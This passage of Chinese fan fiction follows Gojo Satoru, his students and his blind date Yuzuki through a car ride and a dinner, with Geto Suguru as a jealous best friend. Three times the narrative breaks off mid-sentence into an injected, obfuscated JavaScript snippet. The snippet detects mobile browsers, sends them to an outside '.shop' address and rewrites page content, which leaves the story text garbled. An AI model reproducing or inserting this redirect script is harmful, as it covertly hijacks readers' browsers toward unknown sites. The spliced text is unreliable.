她言笑晏晏地伸手拍了拍前面那个白色脑袋:“真的很帅气又极其靠谱呢,悟君。” 车厢里短暂地安静。 连引擎声都像被压低了半拍。 虽然作为五条悟的迷弟,两位得意门生是万分赞同这位朝日奈小姐对于自己老师评价的,但是这也的确是入学以来第一次,他们听见有人用‘靠谱’这个词来形容五条悟。 五条悟似乎愣了一下。 非常短暂。 短到几乎可以忽略不计。 下一秒,他就笑了。 不是那种平时挂在脸上的、理所当然的轻浮笑。而是像被什么轻轻挠到了一下,带着点微妙的、难以察觉的愉悦。 “诶——”他拖长了尾音,语调轻快得过分:“被结月酱这么夸,会让人误会你很想继续让我当你的男主角欸?” 结月:“……” 她合理怀疑这个人根本不知道什么叫害臊。 五条悟侧过头来,隔着眼罩“看”向她,语气依旧漫不经心。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204798|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“而且啊。”他像是随口补充:“只是‘特别好’的话,是不是有点太保守了?” 虎杖和乙骨同时倒吸一口凉气。 结月警惕:“那悟君觉得该怎么形容?” 五条悟笑眯眯。 “比如——” 他伸出一根手指,在空中随意晃了晃。 “帅气。” “靠谱。” “温柔。” “超强。” “还单身。” 虎杖:“?!” 乙骨:“?!” 结月:“……” 他语气自然得像在报菜单。 “综合来看,”五条悟下了结论,“结月酱现在对我心动一下,也很合理吧?” 车厢内陷入了诡异的死寂。 伊地知的方向盘明显抖了一下。 虎杖用气音疯狂:“老师在干嘛?老师在干嘛?老师在公然自卖自夸吧?!” 乙骨小声:“而且还是对朝日奈小姐……” 结月沉默了两秒。 然后,非常冷静地开口: “悟君。” “诶?” “请不要在我夸你的时候顺便给自己加广告。” 五条悟:“哇——好严格哦结月酱。”他懒洋洋地笑着,却心情明显不错。 饭店近在眼前,停车场很空,伊地知打了个转向准备泊车的时候,朝日奈结月安静许久的手机就是在这个时候突然响了起来。 “抱歉,接个电话。”她对着众人笑着打了个招呼,按下了接听键。 车厢里安静得过分。于是女孩子忽然软下来的带着明显熟稔和过于信赖的嗓音便越发清晰起来——仿佛换了个频道。 “摩西摩西?” “……嗯,我这边刚刚才有信号。” “没事,我已经找到了路。” “真的没受伤。” 她说到这里,像是被对方说了什么逗到,嘴角弯得更明显: “没事啦。等下到家了和你说。” “……不用担心啦。” 她的声音剥离了礼貌和客气,多了分柔软清甜,像融化的棉花糖。温柔得过分。 后座两位学生:瞳孔地震。 伊地知握着方向盘的手明显更紧了,后视镜里,他小心翼翼地瞄了一眼副驾驶。 副驾驶上。 五条悟依旧保持着那副懒散的姿势,双手枕在脑后,身体往后靠。 黑色眼罩遮住了所有情绪的源头。 刚才脸上那副轻佻而散漫的笑意却消失得彻底。他没有笑——准确来说,什么表情都没有。淡漠而晦涩。 他枕在脑后的手指原本松散地搭着,此刻却在无人察觉的角度慢慢收紧,指节压住腕骨,骨节线条绷出一道极浅的白。 呼吸仍旧平稳,姿态仍旧懒散,甚至连身体靠在椅背上的角度都没有变化—— 像是所有情绪都被黑洞吞没,只剩下令人捉摸不透的冰冷沉默。 朝日奈结月其实根本就没有意识到自己换了个语气,连绷紧的肩线都松弛了几分。那是一种卸下了所有防备和伪装的状态。 ——因为以她和男闺蜜的关系来看,的确不需要提防什么嘛。 她觉得自己和夏油杰的关系纯洁的比新鲜出炉的香草棉花糖还要白。 是就算她今天在他面前一·丝·不·挂,估计他也不会有任何生理反应,只会若无其事的微笑着帮她把浴衣披好,那样的纯洁友谊。 17.第 17 章 夏油杰提出来刚好在富士山附近,要不要顺路接她回家的时候,她只是略作迟疑,便答应了。 她实在不想再给自己的相亲对象添麻烦了。 迷路在这种深山老林里面搭上他的顺风车已经足够了,她一个连高中生活都没有的外人,要是再横插一脚他和学生们的晚饭,虽然也不是不行,但是还是会觉得,不合适。 对,不合适。 于是挂掉以后,结月自然而然地开口了:“悟君,我就不和你们一起吃饭了。” 身边的虎杖小天使已经开始怪叫了起来:“啊——?!为什么啊?我们还等——” 在他不小心爆出来什么不该爆的‘密谋’之前,乙骨忧太眼疾手快的一把捂住了学弟的嘴。 双手握着方向盘的伊地知小心翼翼地瞄了一眼他身边的五条先生,咽了口唾沫,将手心渗出的涔涔冷汗往裤子上擦了擦。 好可怕的表情啊,五条先生。 他沉默且没有表情的时候,总会给人一种冰冷刺骨的感觉。像暴风雨来临以前的天空,晦暗冷凝。 伊地知一直觉得五条先生的压迫感有很大一部分的原因是蒙在他眼睛上的那条黑漆漆的眼罩。都说眼睛是心灵的窗口,他的‘窗口’被阒黑的布条吸收得很彻底。 于是那种窒闷的压迫感便更强烈了。 “悟君?” 看不见前方的他的表情,她一无所知地用轻盈的语调喊了声他的名字。 “今天已经够麻烦你了,所以等一下——” “结月酱。” 她的话还没说完,就被他打断了。 语调依旧是懒洋洋的,尾音被刻意拉长,像是带着一点若有若无的笑意,又像是漫不经心地插了一句。 可车厢里的空气却微妙地沉了一下。 虎杖的声音卡在喉咙里。 乙骨捂着学弟嘴的手下意识收紧了几分。 伊地知握着方向盘,喉结动了动。 五条悟没有立刻转头。 他还是那副松散的姿态,懒懒地靠着椅背,双手枕在脑后,仿佛真的在认真思考她刚才说的话。 几秒钟后,他才慢悠悠地偏过头来。 “现在拒绝,太晚了啦——” 拖长的语调,听不出情绪。 像是困扰,又像是在抱怨。 “那家店是预约制的哦。” 他语气轻描淡写。 “而且刚才已经顺便把结月酱的那一份一起付掉了欸。” 说得太自然了。自然得仿佛那本来就是既定事项,而不是某种需要征求意见的决定。 他顿了顿,像是忽然想起什么似的,又夸张地补充了一句:“人家只是个薪水很低、每天被学生欺负的可怜高中老师啦。” 说这话时,他终于转过头来看她。 语调夸张,表情却轻松得近乎无辜。 “要是结月酱临时放我鸽子的话——” 他刻意停住,视线在她脸上短暂地停留了一瞬,像是在不动声色地捕捉她那点来不及藏好的愧疚与犹豫。 然后,笑意重新浮上唇角。 “会超——难过哦?” 很奇怪,明明猜到了这个人其实一点也没有他表演的那么难过,毕竟他表演的真的很浮夸,是那种路人都会一笑而过的演技,但是朝日奈结月还是被‘愧疚’和‘心疼’这两种情绪吞没了。 好辛苦啊,悟君。拿着微薄的教师薪水,请学生吃饭还请她这个相亲对象吃饭,他接下来这个月的伙食不会只能吃泡面了吧? 他的身体情况也好让人心疼呢。 最开始以为他的眼睛只是单纯的因为基因变异而格外漂亮,结果今天得知了他的眼睛居然怕强光,于是不得不戴着眼罩或者墨镜的时候,她心里越发难过了。 真的好令人心疼啊,悟君。 就在虎杖和乙骨纷纷扼腕这位朝日奈小姐一定不可能被他们老师这浮夸虚假的演技所打动的时候—— “那好吧,悟君。既然钱都已经付了,那我不来岂不是太辜负你的辛苦钱了?”她微微叹气:“还有,下一次,我来请客。” “悟君不要总是这么大方。高中老师的薪资根本就不多吧?你这么经常请学生吃饭,自己没钱吃饭了怎么办?” 而就在这时,他却像是察觉到了她的情绪变化,忽然轻轻笑了一声。 “噗。” 那笑声低低的,像是没忍住。 他抬手抵在唇边,肩膀微微抖了一下。 “结月酱——” 这一次,他的语调反而更轻了。 “你是不是,对‘高中老师’这个职业有什么奇怪的误解啊?” 他侧过头来看她,眼罩遮住了眼睛,只剩下弯起的唇角。 “嘛——虽然薪水这种东西确实不算多啦,不过,养结月酱的话——完·全·没·问·题哦?” 语气轻飘飘的,像是在说今天天气不错。 结月微微一愣。 然后,下意识地笑了一下。 不是被说服的笑,而是那种“果然如此”的、带着点心软的无奈。 ——果然不想让她担心。 越是被戳中要害,越是要用夸张的方式反驳。尤其是男人,在这种事情上,总是要顾及那点可怜又倔强的自尊心。 她没有拆穿他,只是顺着他的玩笑点了点头,语气放得很轻:“是是是,悟君最有钱了。” 她顿了顿,又认真补了一句:“不过,下次还是让我来吧。” “就当是……我这个相亲对象的良心。” ……真的,太会逞强了。 而就在她这边已经在心里默默给五条悟贴上“工资不高”“身体不好”“还要硬撑面子”的标签时—— 后排。 虎杖的手机震了一下。 乙骨忧太: 【……她真的信了】 虎杖悠仁: 【??????】 钉崎野蔷薇(线上): 【信了什么?】 虎杖悠仁: 【信五条老师是·普·通·高·中·老·师】 钉崎野蔷薇: 【?】 乙骨忧太: 【而且她还在心疼他没钱】 乙骨忧太: 【还心疼他眼睛怕光】 钉崎野蔷薇: 【……】 钉崎野蔷薇: 【她是不是对“普通”这两个字有什么误解】 虎杖悠仁: 【现代最强咒术师·五条家主老师sama=普通高中老师=穷+体弱……SOS!!!】 虎杖悠仁: 【这个等式是怎么成立的啊!!】 乙骨忧太: 【我刚刚真的有一瞬间想提醒她】 乙骨忧太: 【但是对上五条老师的表情……】 虎杖悠仁: 【啊。】 钉崎野蔷薇: 【懂了】 钉崎野蔷薇: 【那是“敢说一句就会死”的表情】 而前排。 被学生们在群里一致判定为“正在装穷骗心疼”的五条悟,像是完全没察觉到任何异常。 他只是懒洋洋地靠在座椅上,唇角还残留着一点没来得及收回的笑意。 心情,看起来好得有点过分。 ——甚至,好得让人隐约觉得,有哪里不太对劲。 车子在餐厅前方的露天停车场缓缓停下。 伊地知几乎是条件反射般地先解开安全带,下车、关门,一气呵成,动作流畅得像是演练过无数次。 “哇——好饿!!” 虎杖悠仁元气满满地跳下车,顺手一把拽住还在解安全带的乙骨忧太。 “乙骨学长快点啦!饿死了快要!” 乙骨被他拖得一个踉跄,下意识回头。 正好看见五条悟慢悠悠地下了车。 双手插在口袋里,姿态慵懒,像是完全不属于“赶着吃饭”的那一类人。 乙骨:“……” 他几乎没有犹豫,任由虎杖把自己拖走。 很快,餐厅门口只剩下两个人。 夜色安静。 远处的灯光被拉成一条条柔软的光影,铺在地面上。 结月正要跟上去,身旁的人却已自然而然地走到了她身侧。不是并肩,而是略前半步,以一种不会让她感到紧迫、却无形中主导了方向和节奏的距离。 她这才更真切地感受到身高差带来的、具象化的压迫感。五条悟实在是……太高了,高大俊美的男人随手揣兜一站,将本就昏暗的光线遮去大半。 “悟君,不进去吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210556|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “欸——急什么。” 五条悟懒洋洋地应了一声,语调轻得几乎没什么重量。他甚至没有加快步伐,依旧维持着那种近乎散步的缓慢节奏。 像是在说—— 反正他们会等。 又或者—— 重要的不是吃饭。 结月不得不也放慢脚步,目光却像有了自己的意识,悄悄追随着他。 他忽然像是想起了什么似的,随口开口。 “刚刚那个电话。” 结月侧过头,需要仰起脸才能“看”向他被眼罩覆盖的“视线”。 “嗯?” “说是朋友,对吧。” 语气太自然了。 自然到不像是在问问题,更像是在复述一件已经确认过的事实。 “嗯,我最好的朋友。” 她答得很快,指尖却无意识地蜷缩了一下。 “这样啊——” 尾音被他拉得很长,带着一种漫不经心的玩味。 脚步依旧不疾不徐。 又过了两秒。 在结月以为这个话题已经结束,正准备将注意力从他过分优越的侧脸线条上移开时—— 他忽然又开口。 语调随意得不能再随意,却像一颗石子投入她心湖。 “那我也是结月酱的——朋·友吗?” 结月的脚步真正地顿住了。 不是被吓到。 而是被这句话切入的角度,以及问出这句话时,他周身那骤然微妙起来的气息。他依旧没有完全面向她,只是稍稍偏过头,那个角度让她正好能看清他线条优美的下颌,和微微上扬、似笑非笑的唇角。黑色眼罩在夜色下更显阒暗,仿佛将所有情绪都吸收殆尽,只留下纯粹的、令人心悸的黑。 “……不一样啦。” 几乎是条件反射般的回答,声音里却带上了一丝自己都未察觉的轻颤。 “不一样?” 五条悟微微歪了歪头。这个略显孩子气的动作,由他做来却毫无稚嫩感,反而有种猫科动物般的好奇与审视。那点若有似无的笑意还挂在唇角,等待的姿态却透出不容回避的耐心。 “哪里不一样?” 他停下了脚步。 这一次,他完全转过了身,面对着她。高大的身影瞬间侵占了更多的视野,那种无形的压迫感变得具体而亲密。他没有低头“看”她,但结月就是觉得,自己整个人都被笼罩在他的“注视”之下。 “嗯?” “说清楚一点嘛,结月酱。” 语气轻快,甚至带着点撒娇般的黏腻,像是在哄。 结月张了张嘴,感觉脸颊有些发烫。她总不能和他说—— 和男闺蜜是就算彼此赤诚相对,同床共枕,也不可能擦枪走火,只会沏着茶聊人生。甚至杰可能还会贴心的帮她披上浴衣,担心她着凉。 而她对他……视线不由自主地再次掠过他形状好看的唇,线条优越的下颚线,高挺的鼻尖,最终定格在了那遮蔽了“心灵之窗”的眼罩上。 危险的念头再次破土:如果踮起脚尖,伸手扯下那碍事的眼罩,当着所有人的面去吻上他的眼睛,和上次一样——不,比上次还过分的吻,他会是什么表情? 没错。会想看到他露出除了这种游刃有余的散漫漂亮笑意以外的表情。 比如说...如果他在公众场合被暗戳戳撩到起生理反应,硬到爆炸却什么都不能做的时候,五条悟还会像现在这样从容不迫吗? 还会想要牵住他的手。十指相扣那样亲密的牵手。想用指尖感受他手掌的温度和那些薄茧的触感。 想紧紧地抱住他,以他的身高她大概只能搂住他的腰吧...把脸埋进他带着清冽气息的制服布料里,侧耳倾听布料之下沉稳的心跳是否也会为她失序。 然后再偷偷仰起头,手指勾住他的衣领迫使他低下头,亲吻他凸起的喉结,感受它在自己唇下滚动……他会和她一样体温升高,呼吸失控吗? 朝日奈结月晃晃脑袋,把这些危险过分的冒昧想法恶狠狠甩出去,试图用冷静的面具覆盖滚烫的内心。 “悟君是我,正在相亲中的...”她礼貌而温柔地说,停顿的一刹那像是在舌尖反复斟酌着最精准又最安全的用词,最终,一个妍丽生动、却暗藏微妙亲昵的笑容在她脸上绽开:“对象。” 18.第 18 章 与此同时—— “夏油大人,晚上我们和结月姐去吃什么啊?”菜菜子兴高采烈地挽着教主大人的手,另一旁的美美子已经开始在tablelog上选餐厅了。 “美美子想和姐姐一起吃回转寿司!” 她的提议被另一个女孩大声驳回:“达咩达咩!我们应该问姐姐想吃什么,她才不喜欢寿司呢。”说完她用崇拜的眼神看了一眼身侧的男人:“所以,夏油大人,姐姐什么来啊?” 夏油杰还没来得及回答。 口袋里的手机先一步震动了一下。 不是来电。 而是信息。 他垂下眼,指尖在衣袖下停了一瞬,才不紧不慢地将手机取出来。 屏幕亮起的那一刻,他的目光几乎是条件反射般地落在发信人的名字上。 ——结月。 【杰,不用来接我了。】 简短。 干净。 像是经过反复斟酌后,刻意压缩到最不引人误会的程度。 【没想到饭店是预约制的,人家已经把我那份钱付过了[可怜巴巴.jpg]不去也太不好意思了。到家再说吧~】 “……” 夏油杰的指尖在屏幕上停留了两秒。 没有立刻回复。 菜菜子察觉到他动作的停顿,仰起脸来看他。 “夏油大人?” 他这才回过神来。 抬起头时,脸上的表情已经恢复成一贯的温和从容,唇角甚至带着一点安抚意味的笑。 “姐姐那边临时有点事。” 语气自然。没有多余的情绪起伏。 “今晚不一起吃了。” “欸——?!” 菜菜子下意识发出失望的声音。 美美子也愣了一下,手机还停留在tablelog的界面上。 “姐姐不来了吗?” “嗯。” 夏油杰抬手,像往常一样轻轻拍了拍两个孩子的发顶。 “改天吧。” “那、那我们还去吃饭吗?”菜菜子小心翼翼地问。 “去。” 他点了点头,语气温和而笃定。 “既然已经决定好了,就不能浪费。” 美美子犹豫了一下,还是忍不住问出口: “姐姐是……和谁一起吗?” 这个问题落下的瞬间。 空气似乎轻微地凝滞了一下。 几乎察觉不到。 夏油杰的笑容却没有任何变化。 “朋友。” 他说。 用的是结月短信里的原话。 “这样啊……”美美子点了点头,却还是小声嘀咕了一句,“可是姐姐平时不太会突然改变计划的。” 菜菜子立刻接话:“对啊对啊!而且明明都说好要一起吃饭了——” “好了。” 夏油杰打断了她们。 声音不重。 甚至可以说,依旧温和。 但那种不容继续深挖的界线,却非常清晰。 “可是,姐姐明明只有夏油大人一个朋友。”菜菜子不满地嘟嘴:“这个多出来的朋友好讨厌啊!不然夏油大人去把那个多出来的朋友杀掉好了,这样——” “不可以哦,菜菜子。我们现在和以前不一样了。”夏油杰温柔地说:“而且这样做的话,姐姐会生气的。” “那就把姐姐抢过来好了!” 美美子仿佛突然想到了什么绝佳的主意,眼前一亮,伸手拉着夏油杰的袖摆撒娇:“让姐姐成为夏油大人的妻子,这样姐姐就可以每天和我们见面,一起吃饭,一起睡觉了!讨厌的朋友就算打扰姐姐,夏油大人也可以把他赶走了,姐姐还不可以生气,因为夏油大人是她的丈夫。” 菜菜子罕见的没有反驳美美子,而是统一了战线:“美美子总算聪明了一回。就这样去做吧夏油大人!把姐姐抢回来。” 看着面前两个人小鬼大的女孩,夏油杰忍不住失笑:“好了,菜菜子,美美子,姐姐和我真的只是……”他的话语微顿,这两个字说出口的语调很轻,却仿佛沉沉的刀子般会把喉管划“”伤:“朋友。” 美美子噘着嘴‘嘁’了一声:“朋友怎么了?友情也是可以变质的,对不对菜菜子?” “难道夏油大人要眼睁睁看着姐姐以后嫁给的别的讨厌的男人,然后姐姐还要给讨厌的男人生讨厌的小猴子,呜呜呜呜呜不要啊菜菜子只想让姐姐和夏油大人在一起,绝·对·不·接·受别的臭男人!” 夏油杰低头望着撒泼打滚的两个女孩,眼睫微垂似乎在很认真地思考她们的话。 “可是,如果姐姐有喜欢的人了呢?她喜欢的人,也是我的朋友呢。”他眼底情绪沉郁,笑容却还是一如既往的温和平静。 菜菜子愣了一下。 美美子却想也不想地叉着腰,理直气壮地说:“朋友又怎么啦?这是爱情里的公·平·竞·争!” *** “额……所以……” 被群里众人一致推上前线的虎杖悠仁,一边心不在焉地夹起一块他最讨厌的西蓝花天妇罗,一边在五条老师和漂亮大姐姐之间来回瞄了两眼,语气明显放轻了不少:“那、那个……姐姐对我们老师的第一印象是什么啊?” 话音刚落。 结月才刚来得及把第一口猪排送进嘴里。 “……啊?” 食物把她的腮帮塞得鼓鼓囊囊,她明显愣了一下,下意识地露出一个极其无辜的表情,像是完全没意识到自己已经被拖进了什么危险话题。 “别装没听见嘛——结月酱。” 五条悟的声音却比她更快地插了进来。 他歪着头,一只手懒洋洋地支着额角,身体微微前倾,整个人几乎是自然地把虎杖的提问“接管”了过去。语调轻快得过分,尾音甚至还带着点黏糊糊的笑意。 “难得有这种机会欸~我本人也很想听听看哦。” 他说这话的时候,表情看起来毫无防备,像是真的只是好奇。 但在场的学生和辅助监督几乎同时背脊一凉。 ——这是那种明明在笑,却已经把人拖进坑里的语气。 结月费劲地把那一大口猪排咽下去,迟疑了一下:“……要说实话吗?” “当然要说实话啦!” 虎杖和乙骨几乎是条件反射般异口同声。 连伊地知都默默放放下筷子,推了推眼镜,求知若渴的看着她。 结月被他们盯得有点不好意思,伸手轻轻碰了碰脸颊,像是在努力回忆什么不太体面的往事:“第一印象的话……说起来其实有点失礼。” 她顿了顿,还是老老实实地继续道: “因为你们老师的头发和眼睛颜色,我第一次见到的时候……还以为是什么喜欢漂白头发、戴美瞳的涉谷精神小伙。” 话音刚落。 空气静了一瞬。 下一秒—— “诶——?!” 五条悟的声音夸张得几乎要掀翻屋顶。 他整个人向后仰了一下,像是受到了极大的精神打击,手指指着自己,语气里满是不可置信:“等一下等一下,涉谷精神小伙?说的是我吗?!” “太过分了吧结月酱——!” “我这种气质,怎么看都是‘天生丽质系教师’才对吧?!” 虽然眼罩遮住了视线,但那副姿态,几乎让人可以想象他此刻一定是瞪圆了那双漂亮得不像话的眼睛。 “噗——!” 虎杖第一个没忍住,直接喷笑出声:“原来老师在外人眼里是这种感觉的吗?!” “但是但是!”结月连连摆手试图解释自己:“第二次见面以后就发现了,其实悟君真的是非常靠谱的人呢!而且……” 她微微一顿,完全猜不出来她会说出来什么平地惊雷话的两位得意门生呼吸一滞。 乙骨忧太战术性低头喝水。 “而且,真的令人心疼呢,悟君。会让人产生保护欲的那种男孩子。” ——“噗咳咳咳咳咳!” 特级咒术师乙骨忧太,从来没有如此狼狈过,狼狈到呛进去的水从鼻子里喷出来。 他旁边的学弟也没有好到哪里去。一副亲眼看见了两面宿傩穿着脱衣舞色诱五条老师的雷劈表情。 “保、保护欲?男孩子?五条先生?”伊地知高洁喃喃着重复着这两个词,梦游的表情,仿佛朝日奈结月刚刚宣布了美帝要向东京投核弹一样。 空气还没从那句“保护欲”里缓过来。 朝日奈结月一点也不觉得自己刚才说了什么反常且不合理的话。 是真的,会对自己身边这个明明无论从身高还是外表都和‘需要被保护’沾不上边的男人产生一种莫名其妙的保护欲。 是那种不敢细想,细想的话,心脏都会微微的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215388|196902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蜷缩着疼。 明明他看起来是个很开朗的、和学生打成一片的、看起来生活过得还算顺遂幸福的普通人。但是隐隐的,就像是无法言喻、无法解释清的感觉,仿佛某种残留的梦境,总觉得他受了很大的委屈。 尽管他自己一点也不会觉得,她却会气得想要把整个世界都一把火点燃——那样莫大的委屈。 也许是她的表情太认真了,五条悟在神情莫测的安静了那么几秒后,倏然笑了。 他微微扬起头,单手捂着脸,笑得肩膀耸动:“我说,结月酱——” 他唤了声她的名字,拖长了尾音,身体随意地往后一靠,椅背轻轻晃了一下,姿态依旧松散,看起来还是那个漫不经心的五条悟。 她微微睁大眼睛不明所以地看向他:“嗯?” 他忽然悠然自若地伸手,超过分的揉乱了她头发,力度霸道得让人无从躲藏。看着她气鼓鼓地想要拍掉他的手而未果的表情,他笑得越发开心了。 仿佛在用这种高中男生的那种恶趣味,来确认些什么。 “——这样的评价,很容易让人家误会诶?”他笑意盈盈。 “误会?”她不明所以。 明明根本看不见他的眼睛,她却几乎能想象到他此刻是用着怎样一种似笑非笑的戏谑神情看着她。 “对喜欢的人才会产生保护欲啦。” 对面的两个学生又是迸发出一阵惊天动地的咳嗽声。 喜欢——? 对他有种海-洛-因上瘾般的生理性吸引,这是喜欢吗? 就算喜欢……这么轻而易举的就在他面前草率的承认,也太逊了吧! “可是,对悟君产生保护欲不是一件理所应当的事情吗?”她避重就轻,理直气壮地说:“薪资微薄却为人大方、眼睛有疾依然辛苦敬业、本来身为普通人已经很艰辛了,悟君还身体不好,所以——” 她环视了一圈众人:“是正常人都会对悟君产生保护欲吧?” 虎杖悠仁的表情,肉眼可见地空白了一瞬。 他张了张嘴,又立刻闭上。 下一秒,猛地低下头,肩膀开始极其可疑地抖动起来。 “……虎、虎杖?” 伊地知下意识开口。 “没、没事!” 虎杖飞快地摆手,声音明显憋得发颤,“我、我只是……呛到了!!” 他说这话的时候,整张脸已经涨得通红。 不是被呛的。 是憋笑憋的。 乙骨忧太那边的情况也好不到哪里去。 他保持着极其端正的坐姿,双手放在膝盖上,表情温和、认真、无可挑剔。 ——如果忽略他死死抿成一条直线的嘴角的话。 他低下头,假装专注地看着桌面,指尖却不受控制地微微收紧,像是在进行某种艰难的心理斗争。 “……” 不行。 不能笑。 绝对不能笑。 这是老师的私事。 这是老师在“普通人模式”。 这是必须要配合的情况。 ——可是真的好想笑。 虎杖终于忍不住,偷偷凑近乙骨,用只有气音的音量飞快地嘀咕了一句: “乙骨学长……” “……嗯。” “她说老师‘眼睛有疾’的时候——” “我知道。” 乙骨几乎是咬着牙回的。 虎杖深吸一口气,努力把笑意压回喉咙里,声音却还是颤的: “我差点以为她下一句要说——” “‘老师是不是需要拐杖’了。” 乙骨:“……” 乙骨闭上了眼睛。 这是他作为特级咒术师,少有的、需要全力调动意志力的战斗。 ——今日得到了可以承包东京咒术高专一整年的八卦: #御三家之首的五条家家主·薪资微薄 #现代最强咒术师·让人产生保护欲·眼睛有疾·令人心疼的大男孩 虎杖悠仁觉得自己短期内没有办法再直视‘保护欲’和‘男孩子’这两个词了。 那可是他强大无比·真男人·五条老师啊!! 怎么在漂亮姐姐眼里五条老师就变成令人心疼的男孩子了? 果然陷入恋爱中的人眼睛被乱七八糟的东西糊住了有奇奇怪怪的滤镜吧!是滤镜吧!这滤镜得有八百米厚吧! 19.第 19 章 朝日奈结月从来都没有遇见一个人,像五条悟一样——矛盾至极,捉摸不透。 吃完饭以后,因为并不同路,那位伊地知先生送学生们回宿舍;而她的相亲对象却格外体贴地替她叫了车——并且理所当然地、毫无商量余地地跟着一起上了车。 她住在中目黑,开车将近一个小时。至于他们的高中在哪儿她并不清楚,只听说不在东京市区内——这样算下来,他来回恐怕要折腾两个小时。 结月心里发紧,摆着手想把人劝回去:“那个……我就不麻烦悟君了,我自己可以——” 拒绝的话还没说完,就被他轻飘飘截断。 五条悟替她拉开车门,自己先慢条斯理坐了进去,懒洋洋靠在座椅里,长腿随意一伸,像是在宣布一件再正常不过的事。语气却偏偏甜得过分,尾音拖得黏黏的: “达咩哟。” 他笑吟吟偏过头来,像在撒娇,行为却是毫不客气的宣告。 “现在坏人超级多欸。把结月酱一个人丢回去的话——我这种超级负责任的相亲对象会担心到睡不着哦。” ……他都坐进去了,她还能怎么办。 结月只好硬着头皮弯腰上车。 然而就在她踌躇的那一秒,他像是等得没耐心似的,长臂一伸——却不是用力拽。指尖只是懒懒地勾住她的手腕内侧。 滚热的指尖贴上她温凉肌肤的那一刹那—— 结月的背脊几乎是条件反射地一紧。 像被极细小的电流沿着腕骨窜上来,顺着脉搏一路窜进心口,震得她呼吸都断了半拍。她明明没被用力拉,却偏偏在那一下失了重心,脚尖微微一滑,整个人被那点轻飘飘的力道“带”了过去。 太近了。 离他太近会让她莫名眩晕。 她想把手抽回去——理智告诉她应该抽回去——可手腕像被他指尖一搭就失去了主权,肌肤敏感得不可理喻,连指尖都发麻。 “……”结月张了张嘴,想说“我自己来”,却只发出一个含糊的气音。 她只好别开眼,像是在和车门缝隙里的黑暗较劲,耳尖却不争气地热起来。 ——明明只是被碰了一下而已。 偏偏身体先一步背叛了她。 车辆启动得很突然。 他漫不经心抬起另一只手,替她挡住车门框的边缘,像怕她磕到头似的——动作细致得过分。 “慢点啦,结月酱。” 男闺蜜的短信就是在这个时候传来。手机“嗡”地一声震动,LINE 的提示音在逼仄的后座格外清晰,像刻意敲在两人之间。 “不回消息吗?”五条悟面上笑意不减,语气轻飘飘的,仿佛随口一问。 结月低头看了一眼屏幕,又看了一眼——她依然被他握住的手。 “啊……没关系呢。”她努力让自己听起来自然一点,“其实说好了他来富士山接我,之后一起吃晚饭来着,现在看来只能一起吃夜宵了。他可能已经在我家等我了吧。” 车厢里静了一瞬。 那种静很奇怪,不是尴尬的静,是像空气里某个看不见的开关被拨动了一下,温度和密度同时发生了变化。 “你的这位朋·友,”五条悟的语气依旧懒洋洋,甚至还带着笑,可每个字却像在舌尖停过一下,意味不明,“有结月酱家的钥匙?” “对呀。”结月并不觉得有什么问题,坦坦荡荡承认,“失忆后记性一直不是很好,总是会忘记带钥匙,索性直接放了一把备用钥匙在他那边。” “这样。”他点点头。 然后若无其事地转过了脸。 可那份散漫的笑意,却在他转过去的瞬间像被擦掉了一样——消失得干干净净。 结月的心脏忽然漏跳了一拍。 他不笑的时候,存在感会骤然变得锋利。明明坐姿散漫,可他身上那种“无需解释的强势”会从缝隙里漏出来,压得人不敢出声。 她看不见他眼罩下的神情。 于是从她的视角,只能看见他剥离了所有情绪后淡漠冷峻的侧脸。 无法审读出一丝一毫他的情绪和想法。 他却一直没有松开手。 用着不会攥疼她、却又无法挣脱的力度,没有看她,没有说话,只是若无其事地握着她的手,像在确认某个脉搏的真实存在。 结月的指尖轻轻颤了一下。 那种温度像是从他掌心渗出来的,沿着她的血管一点点漫上去——不烫,却让人发麻。她甚至能清晰地感觉到他拇指指腹压在她腕侧的脉搏处,像随意停放,又像在测量什么。 所以朝日奈结月才觉得五条悟是个究极矛盾体。 他像什么呢?那天亲吻他眼睛时蓦然浮现的话再一次萦绕在心头。 ——像燃烧的雪,失温的火焰。 有时候听他说话的语调,会以为这个人是不是太浮夸不着调了?行为处事似乎很体贴,却又透着股不容拒绝的独裁霸道。 说他热情似火吧,不笑的时候却又那么—— 冰冷、晦涩、近在咫尺又遥不可及。 结月在自己失控前匆忙收回视线,假装观望风景似的看向车窗外。 ——他是忘记松手吗?还是,不想松手? ——所以其实他也是有一点点喜欢她吧? ——可是完全无法想象他喜欢一个人的模样……他把真实的自己藏得好深,像画中画,梦中梦…… 她的思绪被一道强烈到无法忽视的“变化”打断。 不是目光。 而是——车子猛地一刹。 前方似乎有车突然变道,司机咒骂一声,轮胎碾过柏油发出尖锐的摩擦声。惯性把结月往前一送,她下意识抬手要撑住自己—— 